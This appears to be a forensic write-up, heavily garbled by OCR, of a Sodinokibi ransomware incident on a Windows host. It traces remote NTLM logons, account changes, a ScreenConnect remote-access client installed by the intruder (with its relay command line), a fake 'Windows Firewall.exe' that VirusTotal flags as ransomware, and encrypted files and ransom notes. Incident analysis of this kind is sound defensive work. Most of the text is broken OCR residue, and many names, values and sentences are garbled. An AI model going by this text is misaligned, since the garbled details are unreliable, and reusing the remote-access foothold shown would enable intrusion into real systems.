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Eventlog =#8E:69,088

BEFEE SHEEE TEHER
2019/9/12 T4 11:11:18 Security 540 BA/BH
@=R 2019/9/12 T4 111118 Security 576 BA/EZ
@=EA 2019/9/12 T4 11:11:18 Security 680 BEEA

=4 540 1 Security
% |ga=Ew]

EEEARD:

EHEESE: ETB User
#: )
BEARAE: (0x0,0x1AALE6)
EAEER: 3
EAEE: NtLmSsp
BaEns NTLM
TEs=E: C ' N-PC2
2 A GUID: -
EFUEEHEEEE: -
FUEESE: -
EFUEFEAZIE: -
EUESERAE: -
SEERIERE: -

[ memmmsr 2037 = 31]
REEZE: 0

%39 4 e A Bre B0 17 2 4% % 2019/9/12 T = 10:55 & T £ 11:13

gtk = ETBUSser 2 ~ 39 4 8 » igdt i@ & “rig * oy ~ Hk = % 5 ETB User -

BRERRE A, ©

EN=3

e RS YSTEM
IRES#FEETEACHERS
T R WORK GROUP
B RBRE0x3e7

BEASRRLLO

HEA
#2 HEIRRETEACHER\ETE User
FEAZ T 2019/9/12 22:55 Microsoft-Windows-Security-Auditing 4624 FA B A FEETE User
R FHEETEACHER
B A SRAIRE:02800645
& 7h GUID:{00000000-0000-0000-0000-000000000000}

g
PR e PR 0xfss
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TR k203, 17
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ES=4

S P RIER S Y STEM
B ETEACHERS
HE FE4EH: WORKGROUP
B BIRE0x3e7

BAZEELLO

HEA
3R RIFE:ETEACHER\ETE User
FERZRTH 2019/9/12 23;13 Microsoft-Windows -Security-Auditing 4624 B BEFEETEETB User
E FEEiETEACHER
A BRE0x8dd328
F2h GUID{ 00000000 00000000 D000 000000000000 +

S
At ]
EEEEETE.CAWindows\System 32 winlogon.exe

RS
T{EE-EFB:ETEACHER
FIRAEREfHE203. w17
EE R 20T

2. %A 31 A n HHE S FIG - BFILE AT 2 enik 2 adme @ jE 2

e AR ¢ 451 Arestk © adm »t 2019/9/12 T = 10:58 Ak i = o

o[ ) ZEZE » FAZAREE » GEERE » SEEF 4]

BEZZENRF

Kid [yl adm

RHEEES [ HHEEEE

SEEERSE EEEESE
*

Administrator

L 3 3

Guest
sEEEs ™ Guest
SEEFRE RERFCEZER
Time Source EventID Event Description

=5 R2EREE: S-1-5
: §-1-5-18 REEE:
: §-1-5-18 EEEE:
: §-1-5-18 BEEEE:

2019/9/12 T4 10:58:54 Microsoft-.. 4728 CHERSIES]
2019/9/12 T4 10:58:54
2019/9/12 T4 10:58:54 Microsoft-.. 4722 EEERFCHAE -
2019/9/12 T4 10:58:54 Microsoft-.. 4738 CREEREES -
2019/9/12 T4 10:58:54 Microsoft-.. 4724 EZERBS
2019/9/12 £ 10:58:54 Microsoft-.. 4732 CEEREIE

=

FIE: 5-1-5

2019/9/12 T4 10:59:01 Microsoft-.. 4732 CHERSIES EERIE: S-1-5
< 1
ERTERERS -
e
e 8] — B
FEEERFIE: §-1-5-18
REZTE: CHmamiN-PC2$
REEE: WORKGROUP
BATRFIEE: 0x3e7
HIRE:
FLIERANE: S-1-5-21-m8 . g . _1016
REZTE: adm
TRESEE: c n-PC2
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adm > P| e RIFF PR 2 adm & ~ A 815 4 ZE 2 adm TR A > T U AoR e
Riz > admtk = > B A Frl 3 % v oo
',.riﬁ » THEEC) » BEE » | v|4,| ;3
- - B MAZEBE v ZEEE v FmEERE
2% PR BUAE pEs =0 *!
| 3599d-readme.txt 2019/9/12 T4 11:18  2019/9/12 T4 11:08  Administrators XX 7 KB
|| adm 2019/9/24 T4 02:59 2019/9/24 T 0259 <---1&A|ISEARY  sszsx
[ ). ETB User 2019/9/12 T4 11:18  2019/9/12 51051 | om n-PC2\ETB User BESHE
. Administrator 2019/9/23 F502:23 2012/6/22 T5 0347 ¢ n-PC2\Administrator 8 o3
|, DefaultAppPool 2019/9/12 T4 11:46  2012/2/15 T4 05:42 = %

KE EiRR 4P 7 = ETB User #_# 2016/4/27 & = 4:13 43 * o
Time Source Es Event Description
2016/4/27 T4 04:13:05 Microsoft-Windows-Se_.. CEUGEHE®RFE - 5 ZT=HEHE: S-1-5-21-
2016/4/27 T 04:14:33  Microsoft-Windows-Se... 4720 CEUGEHE®RFS: 5 TE2EZAE: 5-1-5-18
< | m
EEERAERE -
= ZEIERFE: S5-1-5-21—&CE R UTE 8= 5 KEEH -1 3 B EET-1000
EEE: Clumiiian
TREAER: Gliniteiien 1~ PC2
BAREE: 0x84£8d4
HriRF:
%&%&EU@' 5-1-5-21-» =n__ ® =8 = 54 -1005
EELTE: ETB User
REAR: claiaiien -PC2
3. E"JF:] 31 4 #Waud e s FIR 9127 = 10:20 ~ = 10:51 & * = 11:03

IP:203.X.X.17 7§ 14tk =

i

ETB User &&=

o A RS N g~ 3

Time Source EventID Event Description
0L/ 0:20 050 4624 REENE = X2RSRE 0-0 EREE
2019/9/12 TS5 102021  Microsoft-.. 4634  HFECEH: 5 Z2EHEE: S-1-5-21-Emeay Bt
REETIEA -
x5:
FEL2IERFE: 5-1-0-0
ﬁR,E’%fE -
RS -
B2 ARG 0x0
BAEE: 3
FEA:
FEEERTIE: §-1-5-21 -4 = S ] BB -1005
REZTE: ETB User
Eﬁgﬁﬁ: cEmg®=gn-PC2
BARFE: 0xd20cc2b
2 GUID: {00000000-0000-0000-0000-000000000000}
EEEFER:
REEFREE: 0x0
REEFLE: =
HRREA:
TAErEZTE: Pmai-PC
RIERRRArEE:  203. g
RIEEES: 8675
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Log Type

Time

Source EventID

Computer

</ Security 2019/9/12 4 10:51:50 Microsoft-Windows-Securi.. 4624
<[ [0 ]
REBIIBA -
T zeumEs s-1-5-18

RELTE: CRRISIN-PC2S

RS WORKRGROUP

BARGITS: 0x3e7
BAEE: 10
FEA:

ZEERFE $-1-5-21-siiul DETr ETRAPTT-Tl Pre i i-1005

~ELTE: ETB User

RES5: Cluieliin - PC2

BARFE 0xd91a7bd

2 GUID: {00000000-0000-0000-0000-000000000000}
REEFER:

REEFRFE: 0x640

ﬁgﬁ?@ﬁ 5 C:\Windows\System32\winlogon.exe
HRREA:

IErbETE: CRESSSNIN-PC2

RBMRRArEE:  203.Me B 17

RFEES: 11852

Time Source

12 Microsoft-..

EventID Event Description
4624 BEENEA -

. REUEAE: S-1-5-18 BEEHE: Oy = = N-PC2§

2019/9/12 T4 11

2019/9/12 T4 11:03:12  Microsoft-... 4624 BEHENEA - : EZEEAE: S-1-5-18 BEEE: Cow n mUN-PC2S
< m
BERTIEA -
==

HEIEREEE: 5-1-5-18

REZE: ClmssgalN-PC2§

TRELER: WORKGROUP

B ARANE: ox3e7
BB 10
HEA:

FEEIEREEE: S-1-5-21 = -1005

REZE: ETB User

TREAEIR: Clumeiienin~PC2

B A RAE: 0xd9dbd55

Z /. GUID: {00000000-0000-0000-0000-000000000000}
REEFER:

REEEREE: 0x16dc

REEELE: C:\Windows\System32\winlogon.exe
£RBEREER:

T{Eub&ra: chis N-PC2

KB rak: 203, af.17

FIFEES: 12076

% 2019/9/12 & = 11:18 3 -

~31 e

i# IBMX3550M2 i # 12tk

,

T

Time 7

Source

EventID

Event Description

2019/9/12 T4 11:18:27 Microsoft-Win.. 4624 BEEMEA . 5 XZHSIHE: S-1-0-0 BREEE: -
2019/9/12 T4 11:18:40 Microsoft-Win.. 4634 BEERE: IS R2EENUT: S-1-5-0 el Ew
<] 1
REBRTHEA -
*E:
FEHERFES: 5-1-0-0
REEZTE: -
PR -
BARENE: 0x0
BNER: 3
HEA:
FZEERFEE: §-1-5-21 il . = 5 §71-1005
REZE: ETB User
fu&ﬁ§§ﬁ clamsmsesn-PC2
BARANEE: 0xdb3403d
Z . GUID: {00000000-0000-0000-0000-000000000000}
EEEFER:
BEEFRAE: 0x0
REEFLE: -
EREE:
TiersL&fE IBMX3550M2
IELBERArEE fe80: "=y ® "BN ™S8 :aSch
KEEES 53627

ETB User i i 41

EAS
=]
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4. %% lastactivityview # 4L 31 2

User & » & »

AT 1053 H (7

o M 9/12 7 = 10:51 #& =~ ETB

L Bk Tk

Windows Installer » 2_ s 4 9/12 = = 11:03

£ & F »~ A 347 Windows Installer » & 9/17 + = 1:25 % % ScreenConnect
Client» & 9/17 &= 4:12 *& #» ETB User % 4} -

Action Time Description More Information

712019/9/17 5 04:12:26  System Shutdown

[572019/9/17 T4 04:12:26
[872019/9/17 £5 02:21:55
[572019/9/17 L5 01:25:33
L-”v"2019/9/17 %5 01:25:32
Lg ] 2019/9/16 % 01:00:00
[572019/9/13 5 01:00:00
[872019/9/13 5 12:00:16
[572019/9/12 T4 11:04:44
[87]2019/9/12 T4 11:04:37
52019/9/12 T4 11:04:02
[57]2019/9/12 T4 11:03:12
[572019/9/12 T4 10:53:28
[872019/9/12 T% 10:53:21
[572019/9/12 T4 10:53:10
Fv‘2019/9/12 T4 10:51:50

User Logoff =n-PC2\ETB User

C
Restore Point Created
Windows Installer Ended

Software Installation ScreenConnect Client (efb8cf813bbeaefc)

Windows Installer Started

User Logon n

WORKGROUP\c!
WORKGROUP\c".w

User Logon an
Restore Point Created
Windows Installer Ended
Windows Installer Started
Software Crash

User Logon

Windows Installer Ended
Restore Point Created

Windows Installer Started

Explorer.EXE, 6.1.7601.17567, 4d6727a7, mso.dll_unloaded, 0.0.0...
WORKGROUPAETB User

User Logon WORKGROUPAETB User

Restore Point Created

5. 3li

EaseUS Todo Backup (% 6 %) »

LM T % 403 T 4 2016/4/27 T = 4112 % BT A 2B R ey

W BRATIR G ¥ 129K 0 L hE R

24

2 pe P s »
I FIMZEM A% 5.8 558 3 - BA %% (hardcoded) s I % AR 0 3% R
g Y ) Y >3 ’ 93 = = -~ £ e
FEV ARG B S ® o S a- KRBF o AT Ky 6KF At
[ 3 L R
b F LR e
Action Time Description Full Path More Information
€ 2016/4/27 T4 04:12:56  Software Installation C:\Program Files\EaseUS\Todo Backup\bin\Loader.exe  EaseUS Todo Backup Technician 60{
2016/4/27 T4 04:10:47  Open file or folder C:\Users\commemn\Downloads\EaseUS
|_12016/4/27 75 04:10:47  Open file or folder C:\Users\crmmsmn\Downloads\EaseUS\key.txt
2016/4/27 T4 04:09:44  View Folderin Explorer  EaseUS
[m72016/4/27 T4 04:08:55 User Logon WORKGROUP\c= in

12 Net User i,a £

. ETB User etk =

Management Console(® + ¢ 3247 4

E’ﬁ ;&\gm,gw—-ﬁdﬁh»’?iﬁ‘udﬁ ETB User iz 2% * ¢ > 4

_\

105 3% R 2 3% 5 448 EaseUS Todo Backup = Central

5)ig * o j&_ETB User t& = 33 {8 5 3%

E % 2016/4/27 5 4132 2R S AR RIARGML > L ERIRHA 0 A
DR B A FTEE R b IR S L X F o PR 2010/9/12 T =
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1:18 5 A FX E 244 prF

Y SSRTFT

Microsoft Windows

C: \Users \cwem

Copyright (c> 2009 Microsoft Corporation.

nJnet user

6.1.76611
All rights reserved.

mn>net user

\\CHAOSHUN-PC2 [ fifi FFj &1

Administrator

“ETB User"

6.

ETB User
ETB User

For EaselS Todo Backup Central Management Console

2816,4/27
(s
2016,4/27
Yes

Yes

2019/9/12

£ER

*idninistrators

*None

Firewall.exe 34 7 4% > #

T4~ 84:13:06

e

- B4:13:06

T4 11:18:27

*HomelUsers

ftk # ETB User ek & > 3 - B & 2019/9/12 =+ = 9:41 2 = 5 Windows

.

Bt B ARG VA2 K TN M AR A 2019/9/12

T2 11084 T H AR 2 T £ 9141 v ETB User o &2z = g i

FpTx 1051 B8 S > PTG A A BE R 2 o

Windows Firewall.exe
_| mbjzslrd-readme.txt.3599d
|| 3599d-readme.txt.mbjzslrd
| 3599d-readme.txt

s nE
—# | 1EEM | Zoe | SEEER | DEaEE

el 1 Windows Firewall exe
EEER  ERED (o)
- Windows Firewall exe
uE: CATsersETE UserDeskinp
Fuv 164 KB (167,936 W TTEH)
R 164 KB (167,936 i)
B REL: 2019F9H 128, T4 09:41.05
o AEA: 2019 9[12A, T4 09:41:05
TFE R ER: 20195 9H12R, T+ 11:.08:04
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Windows Firewall.exe 3 Virustotal #p] » # & &+ &) 5 45/67 > 5 % 77 & ¥y

2 Ransom.Sodinokibi & & v -

’! ) 45 engines detected this file

‘-d‘ib7-‘e2cb°43:>3 b56604ced7af75b11f80bf9079054f6619251b683

ol Wit
Windows Firewall.exe 7 e
peexe
Acronis \‘) Suspicious Ad-Aware (:_D- DeepScan:Generic. Ransem.Sodinokibi
AhnLab-\V3 ® ALYac ® ric. Ransom Sodinokibi.
Antiy-AVL (@ Trojan[Ransom)/Win32.Gen SecureAge APEX (@ Malicious
Arcabit (D) DeepScan-Generic Ransom.Sodinokibi Avast (D Win32:Trojan-gen
AVG (D Win32:Trojan-gen BitDefender (D) DeepScan:Generic Ransom. Sodinokibi
ClamAV (D Win.Ransomware Sodinokibi-7013612-0 Comodo 32 Ransom Sodinokibi.B@.
CrowdStrike Falcon @ Win/malicious_confi Cylance (@ Unsafe
DrWeb (D Trojan.Encoder.23004 Emsisoft (D) DeepScan:Generic Ransem. Sodinckibi.
Endgame @ Malicious (high Confidence) eScan (1) DeepScan:Generic. Ransom.Sodinokibi
ESET-NOD32 D) AVariant Of Win32/Filecoder. Sodinokibi.B F-Secure Q/- Trojan. TR/Crypt ZPACK Gen
FireEye @ Generic. mg.17d54fde8f0dcad3 Fortinet Q} W32/Sodinokibi. Bltr
GData (D DeepScan-Generic Ransom.Sodinokibi lkarus (D Trojan-Ransom Sodinokibi
Kaspersky \‘/ HEUR:Trojan-Ransom Win Malwarebytes Q/ Ransom.Sedinokibi
MAX MaxSecure Q) Trojan.Malware 34.susgen
McAfee (D Sodinckibil17D54FDESFOD McAfee-GW-Edition () BehavesLike Win32 Ransom cc
TrendMicro (D Ransom.\Win32 SODINOKIB.SMTH TrendMicro-HouseCall \'l) Ransom.Win32 SODINOKIB.SMTH

7. 731 A s erfe N for i N F 0 3T 2019/9/17 ¥ % i

ScreenConnectClient(efb8cf813b6eaefc) -

v‘@ » ZRl2
=El

RRINER

b3 Windows 788

ol

SAZHREE ) EXAE v |4l

£2E8 v =y @
25 giz 2R A 5%
I 31 ScreenConnect Client (efb8cf313bbeaefc) ScreenConnect Software 2019/9/17 2.84MB 19.3.25270.
04 Google Toolbar for Internet Explorer GoogleInc. 2016/11/21 75.8231.22
) EaseUS Todo Backup Technician 6.0 CHENGDU YIWO Tech Developm...  2016/4/27 903MB 6.0
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A enE KR 40N 3 TR 2019/9/12 T = 10:53 ¥ % i

i B gt -

LN

ScreenConnectClient(efb8cf813b6eaefc) » @ * %Az ¢ A B 4%

Time 7 Source EventID Event Description

2019/9/12 T4 10:53:21 ERINEIISERY (EBEE = C\Windows\system32\msiexec.exe /V; it = Installed ScreenConnect Client (efb8cf813b6eae
2019/9/12 T4 10:53:25 Microsoft-.. 10000 TEBETEREE 0- 2019-09-12T14:53:25.316686300Z -

2019/9/12 F5 10:53:26 Service Co.. 7045 BECEZZE25T - BIESE: ScreenConnect Client (efb8cf813bbeaefc) FEIFEERZ%E: "C:\Program Files\ScreenConne
2019/9/12 T4 10:53:27 Senvice Co.. 7036 ScreenConnect Client (efb8cf813bbeaefc) BIETEA TS A -

2019/9/12 F5 10:53:28 Msilnstaller 1042 £33 Windows Installer Z5: C:\Users\ETB User\Desktop\ConnectWiseControl ClientSetup (4).msi. BEEEEEEEE51E: 4868

2019/9/12 5 10:53:28 Misilnstaller 11707 Product: ScreenConnect Client (efb8cf813b6eaefc) -- Installation completed successfully.
2019/9/12 T 10:53:28 Msilnstaller 1033 vwndows Installer EREZER - ERZE: ScreenConnect Client (efb8cf813b6eaefc) - ERME:19.2.24707.7131 - EJ
2019/9/12 5 10:53:28 Microsoft-.. 10001 TEZETEREER 0 ©EE) 2019-09-12T14:53:25.316686300Z - N
< 11l

EWJ;UE:‘L@E% (i@fi‘? = C:\Windows\system32\msiexec.exe /V; %’;‘ﬂ = Installed ScreenConnect Client (efb8cf813béeaefc)) = 4

Event Data:

0000 00 00 00 00 Al 01 00 00 97 01 00 00 00 00 00 00  ......ccvvvvnnns
0010 22 CE 28 67 7C 6D DA 79 E2 8C 1C 00 00 00 00 00 A0 L 1 b T
0020 00 00 00 00

Time ¢ Source EventID Event Description
2019/9/12 T5 10:53:21  System Res.. 38194 TENETERY (EEEE = C\Windows\system32\msiexec.exe /V; 7831 = Installed ScreenConnect Client (efb8cf813b6easf

2019/9/12 T4 10:53:25  Microsoft-.. 10000  EERSIEIEE0 - 2019-09-12T14:53:25.3166863007 -
2019/9/12 F5 10:53:26  Service Co... B SEERAT - EEEE: ScreenConnect Client (efb8cf813b6easfc) BHEEZEEE: "C\Program Files\ScreenConne|

2019/9/12 F5 10:53:27 Service Co.. 7036 ScreenConnect Client (efb8cf813b6easfc) EIRCEA ST HiE -
2019/9/12 T 10:53:28 Msilnstaller 1042 £5 Windows Installer 2 5: C\Users\ETB User\Desktop\ConnectWiseContral.ClientSetup (4).msi. AF B EEEZERAIE: 4868
2019/9/12 T5 10:53:28 Msilnstaller 11707 Product: ScreenConnect Client (efbBcf813b6eaefc) -- Installation completed successfully.

2019/9/12 T 10:53:28 Msilnstaller 1033 Windows Installer CEEZES - ER2E: ScreenConnect Client (efb8cf@13bbeaelc) - ERFF: 19.2.24707.7131 - ERES: ||
2019/9/12 T 10:53:28  Microsoft-.. 10001 EEEFEILERS 0 CEE 2019-09-12T14:53:25.316686300Z - Z
4

. |

EREETETRET - -

BEFEEZTFE: ScreenConnect Client (efb8cfil3béeasfc)

EEFEfEZEZFE: rC:\Program Files\ScreenConnect Client (efbScfg8l3béeaefc)\ScreenConnect.ClientService.exe" "2
e=Recesssy=Guestih=instance-d6o30s-relay.screenconnect.comép=44383=f5313a14-09ce-4f4c-bcl0-
dc04ccTd639dak=BgIARACKkAARSUOEXARQRRARAADBFargikk:2 F1KStotmYVvEvtAVFED6YxQeWLIZcko

22 fJCEIGgetysBFudUe3K3XLABCiMEeDAI rXtnpDpvbEyfLDétb]j SZtpRdaSc6zU%2 fzDrpdrEeSh
%2fedR232fFDQWnXYQ06ts2H3nThpCTvNaxC44I1tfJTEKSEFDREDZhHe TWRZTL
$2fcopddmi4Rv4ppUoUlsrFWwIL1YDZFvbrhYgmolclmhgNWE6KE fNxkE6kNHIkt IrvtYzoTuri2bNRZZa
£2bgnx¥8viJloUevZa2jDfHgxCr035tWv2 cRkNj 6DGMOscTcFSKEVPMAZ0IKpffFBPTvTpkcZ 22 TgPHwcbxquh3Dt ITJCDMceWs t=ac=&Cc=&C=&C=&C=&C=&C=&C=
"

B FREEIERS
IBFEEEEL: SEEE
Mﬂlﬁ}g LocalSystem

i C:\Program Files p ScreenConnectClient(efb8cf813b6eaefc) 7L & ez = p # %

2019/9/17 + = 1:25 > Jaip| %% & #-Jk % 2019/9/12 % % 4% ;% ScreenConnectClient

3L -

vl Lo EiE )y FEEEC) » Program Files »

E~ = BE MAZEBE v ZEEE ~ HEERR
=t gxEE =UAS mas
| 3599d-readme.txt 2019/9/12 F5 11:08 2019/9/12 "5 11:08 Administrators
|1 . ScreenConnect Client (efb8cf813bbeaefc) 2019/9/17 = 01:25 2019/9/17 5 01.25| SYSTEM
. Microsoft SQL Server 2019/9/12 5 11:08 2012/2/15 5 05:24 Administrators
Time Source Even.. Event Description
2019/9/17 £5 01:25:32  Msilnstaller 11707 Product: ScreenConnect Client (efb8cf813b6eaefc) -- Installation completed successfully.

2019/9/17 £5 01:25:32 Msilnstaller Windows Installer EX#EZES - ERE%: ScreenConnect Client (efb8cf813bbeaefc) » ERFA: 19.3.25270.7185
2019/9/17 £5 01:25:32  Service Control Manager 7045 BHECEZREEHT - BEEE: ScreenConnect Client (efb8cf813bbeaefc) RIFEEEE: "C:\Program Files\Sq
2019/9/17 £5 01:25:32  Service Control Manager 7036  ScreenConnect Client (efb8cf813b6eaefc) BIETEA 2T iz -

<| n | »

Windows Installer C2FEEEE S - E54&TE: ScreenConnect Client (efb8cfsl3béeastc) - EiuhRA: 19.3.25270.7185 - Elbie=: 1033
= BI35F5: ScreenConnect Software - ZEEEEKTNEEEESHRAE: o -
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& C:\Program Files\ ScreenConnectClient(efb8cf813b6eaefc) 7 #L

ARG oA BR

7 #% ScreenConnect.ClientService.exe ¥2 ScreenConnect.WindowsClient.exe » m

A R

v1 ScreenConnect.WindowsClient.exe % # (=

ScreenConnect.ClientService.exe &£ % » 3 Bi%42

HEF Q7 C

https://instance-d6030s-replay.screenconnect.com » @ H @@?] noRE

i# ¥ 52 1% 5 > ScreenConnect.ClientService.exe ¢ {7 {s ¢ =¥

° WAL

RELTAEG B

¢ 12 Guest £ &~

=

F

7

ommand line p % &5 > B e pl

EE

Process

E] sqlbrowser.exe
(w7 sqlwriter.exe
) vmtoolsd.exe
[nsvchost.exe
[m7vds.exe
[#7svchost.exe
[#7dllhost.exe

(J~s msdtc.exe
[w7taskhost.exe
[n7searchindexer.exe
(=7 sppsvc.exe
[#7svchost.exe

[#7 wmpnetwk exe

CPU Private Bytes WorkingSet PID Description Company Name
|\ ] [m=! ScreenConnect ClientService.exe ] <0.01 20,760 K 23,616 K 1736
|m ' ScreenConnectWindowsClient.exe | 19,828 K 22,852 K 3304 ScreenConnect Client ScreenConnect Software

Command Line:

"C:\Program Files\ScreenConnect Client (efb8cf813b6eaefc)\ScreenConnect.ClientService.exe" "?e=Acces
s&y=Guest&h=instance-d6030s-relay.screenconnect.com&p=4438&s=f5313a14-09ce-4f4c-bc10-dc04cc7d639d&k=B
gIAAACKAABSUOEXAAZAAAEAAQBFarqjkk%2f1KStqtmYVVvKvtAVF6D6YxQeWLI2cko%2fIOEIGgetysBFulUe3K3XLABCiMEeDdI
rXtnpDpvbKyfLD6thj5ZtpRdaSc6zU%2f2DrpdrEeSh2fedR2%2fFDQwnXYQ06ts2H3h7hpCTvNaxC4411tf)TEKSEFDRED2hHe
7wRZti%2fc9pdImi4RvappUoUlsrFwiL1YD2FvbxhYgmolcimhgNWfEKEfNxk6kNMIktirvtYzo7ur%2bNRZZa%2bgnxY8vilioU
evZa2jDfHqxCr035tWv2cRkNjEDGMQsc 7 cFSKFVPMXZO0IKpffBP7v7 pkcZZ2TgPHwcbxguh3DtICDMceW &t=&c=&c=&c=&c=&c
=&c=8ic=8&c="

Path:

C:\Program Files\ScreenConnect Client (efb8cf813b6eaefc)\ScreenConnect.ClientService.exe
Services:

ScreenConnect Client (efb8cf813b6eaefc) [ScreenConnect Client (efb8cf813b6eaefc)]

6,876 K 5,464 K 340 Windows Media Playermﬁﬁiﬁ:-ﬁﬁ... Microsoft Corporation

I

<0.01

E] ScreenConnect.ClientService.exe:1736 Propertiesl

Image ‘Pe(forrnanoe [ Performance Graph I

Disk and Network | GPU Graph | Services [ Threads | TcP/P [ security [ Environment | .NET A | .NET Performance [ strings |

Image File

H

Version:  19.3.25270.7185
Build Time: Thu Jun 2101:09:26 2018
Path:

C:\Program Files\ScreenConnect Client (efb8cf813b6eaefc)\ScreenConnect. ClientService.exe

Command line:

Current directory:
C:\Windows\System32\

Autostart Location:

HKLM\System\CurrentControlSet\Services\ScreenConnect Client (efb8cf813b6eaefc)

Explore

ScreenConnect.ClientService.exe % Virustotal # /7|

7

i

lr‘

VES L)

Bl AT

[E]

7 '

HEZ W H5 269 %7~ F ¥

)

I+

' 2

E0F o

@ 2 engines detected this file

5dbf41a595c862f4a2028bdbb7d983c697bb0dc4239862ec8d22f6aa81cad72c

screenconnect.clientservice.exe

88.38 KB

2019-09-25 02:24:39 UTC

Antiy-AyL

O]

RiskWare[RemoteAdmin]Win32.Connec... eGambit

O]

Unsafe Al_Score_67%

5 e =

¥ 4. ScreenConnect.WindowsClient.exe & 1+ % » % . Command line p % % 3% %
HEFEd >m AR B PBERET g pFT o LEE TS
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ScreenConnect.ClientService.exe e v @ fzés o

(oo s

Image |Performanoe | Performance Graph | Disk and Metwork | GPU Graph | Threads | TCR/IP | Security | Environment | .MET Assemblies | .MNET Performance | Shings|

EI] ScreenConnecLVUTndowsClTentexeB304|Properﬁes

Image File

[

Version:  19.3.25270.7185
Build Time: Tue Sep 03 23:48:40 2019
Path:
C:\Program Files\ScreenConnect Client (efb8cf8 13bseaefc)\ScreenConnect. WindowsClient.exe

ScreenConnect Client

[ sqlwriterexe
ﬂvmtoolsd.exe

Command line:
"C:\Program Files\ScreenConnect Client (efb8cf5 13bseaefc)\ScreenConnect. WindowsClient.exe™ "RunRole™ "a2f3e582-6e2e-4aad-8rat-883efa43bd 1b™ "User™

Current directory:
C:\Windows'\System32Y

Autostart Location:
nfa Explore

Process CPU Private Bytes WorkingSet PID Description Company Name
= |m|ScreenConnect.ClientService exe <0.01 20776 K 23 636K 1736
m | ScreenConnectWindowsClient.exe 19,828 K 22,852 K 3304 ScreenConnect Client ScreenConnect Software

[msglbrowserexe 1,024 K 3,416 K 1756 S0L Browser Service EXE Microsoft Corporation

Command Line:

"C:\Program Files\ScreenConnect Client (efb8cf813b6eaefc)\ScreenConnect WindowsClient.exe" "RunRole”

[n7svchost.exe "a2f3e582-6ele-daad-Bcab-883efad3bdib” "User”

[ vds.exe Path:

[m7 svchost.exe C:\Program Files\ScreenConnect Client (efb8cf813b6eaefc)\ScreenConnect WindowsClient.exe

a7 dllhost.exe [ <001 3,208 K 5,084 K 2724 COM Surrogate Microsoft Corporation

. C:\windows\temp p 4 3 setup.msi » #% {7 set.msi f& 3 M3%42:" § % K

ScreenConnectClient(efb8cf813b6eaefc) -

-I| ;v EfE » TEERE(C) » Windows » Temp pl

> B massx

=HE =k EUQHH i

5 setup.msi 2019/9/17 b5 01:25  2019/9/17 £ 01:25 Windows Installer 3752 1,796 KB
i R

ScreenConnect Client (efb8cf813bGeasfc)

- E| Please wait while Vindows configures ScreenConnect Client
(efbBcf313bbeaefc)

L 2

EIE E R AR 419 > 2019/9/17 F = 1:25 #1x K

ScreenConnectClient(efb8cf813b6eaefc) & 24 i setup.msi i #1 & 4 o

Even...
17403

Source
MSSQLSERVER
Msilnstaller

Event Description

EE 85485 % « ARFLFNT -

Time
2019/9/17 £% 01:00:56
2019/9/17 £ 01:25:29

FE: HEESE

ES# Windows Installer Z25: CAWindows\TEMP\setup.msi * AEREEEE & AIE: 5080 *

2019/9/17 £5 01:25:29 Microsoft-Windows... 10000 FZEE¥TEIEE 0 -2019-09-16T17:25:29.657195400Z -
2019/9/17 £5 01:25:29 Microsoft-Windows... 4624 GEEEINZEA: =5 T2EHIE: S-1-5-18 BEERE: C N-PC2$ IEFES:
< ‘ mn

Ef#5 Windows Installer A7 : C:\Windows\TEMP\setup.msi - B EREEZEFHKFITE: soso -
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9. KE k&3 M E & 2019/9/12 T = 10:51 12tk = ETB User % » 3 %

fs » &7 = 10:52 3 7 WindowsMail 1% i» > ¥ & 4 & > 4 edb00001.log -

Time Source  EventID Ewvent Description

2019/9/12 5 10:52:03 ESENT 102 WinMail (3348) WindowsMail0: EH E512E (6.01.7601.0000) 53 7T —EHFHAE 0) -

2019/9/12 F5 10:52:05 ESENT 210 WinMail (3348) WindowsMailo: EESE—ES=ES -

2019/9/12 T4 10:52:05 ESENT 220 WinMail (3348) WindowsMailD: EEBSEEE C\Users\ETB User\AppData'Local\MicrasoftWindows Mail\WindowsMail.MSMesd
2019/9/12 T4 10:52:05 ESENT 221 WinMail (3348) WindowsMailD: EEZEEREE C\Users\ETB User\AppData'Local\MicrasoftWindows Mail\WindowsMail.MSMesd
2019/9/12 T4 10:52:05 Ef 22: WinMail (3348) WindowsMail0: FZEESHEITHERMES (2B C\Users\ETB User\AppData\Local\Microsoft\Windows Mail\edb0C
2019/9/12 5 10:52:05 ESENT 225 WinMail (3348) WindowsMail0: EZEETTLNER -

2019/9/12 5 10:52:05 ESENT 213 WinMail (3348) WindowsMail0: EREECHIIHEL -

2019/9/12 T 10:52:05  Service.. 7036 Protected Storage BEEEA 81T #iE -

2019/9/12 75 10:52:11  ESENT 103 WinMail (3348) WindowsMail0: ERESIZFLET—EFRE 0) -

4 [T | 3

WinMail (3348) WindowsMailo: IFiERRiSCERfEEAVET (#E c:\Users\ETB User\AppData‘Local\Microsoft\Windows Mail
% edb00001.1log - C:\Users\ETE User\ippData\Local\Microsoft\Windows Mail\edb00001.log) -

| o » Elg ) TEEE(C) » FHE » ETBUser » AppData » Local » Microsoft » Windows Mail » Backup » new

v MAZERE ~ ZEEE > FEERE

K

|| edb00001.log
|| WindowsMail. MSMessageStore
|| WindowsMail.pat

10.3—% 31 4 WA FA AR B IFL“% C:\windows “t » 7}%’,?@‘,5’3#}‘»4\: oo A ip

WwehFo & g 5 3599d-readme.txt > @ F & 3 3599d-readme.txt.mbjzsird 2

mbjzslr4-readme.txt.3599d & i 4% %

E‘ » ERE , i >|

> HANHE v HEERE

N RR21E
2@

2 Y,

. Visual Studio 2005 2019/9/12 F5 11:09
| 3599d-readme 2019/9/12 T+ 11:18 7 KB
|| 3599d-readme 2 2 F511:18 7 K8
|| 3599d-readme.txtmbjzslrd 20 £ 11:18 8KB
|| mbjzslrd-readme.txt.3599d 11:18 8KB

S A BB bk § Gl L (2 W 91 3500d chgl A - 0 10 T*.3500d & 39
AR AEE O FIRE - AR A B e P RE A 2019/9/12 T = 11:08 5 d1

Bl AR ERGEE R o

2 Eeg=ps] =3 | EHRE

| .rnd.3599d 019/9/12 N5 11:0 2K8B

|| Analyse.aspx.3599d 2019/9/12 T4 11:08 1KB \inetpub)
|| CheckData.js.3599d 2019/9/12 F5 11:08 2KB inetpub)
|_| CookiesCheck aspx.3599d 2019/9/12 N5 11:08 1KB ot (C\inetpub)
|| Default.aspx.3598d 2019/9/12 F5 11:08 1KB (C\inetpub)
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¥ 4R 3599d-readmetxt p 7 F R F B R 0 0 A B L X D —"Ff T A A

Genbh s on g 35000 PBIH £ o ¢ AR T X RS EREMTESRG
otk e nt REBE AT 0 A 2 AR EEE G k- B R akey %
R R

" |3599d-readme]- £== =R
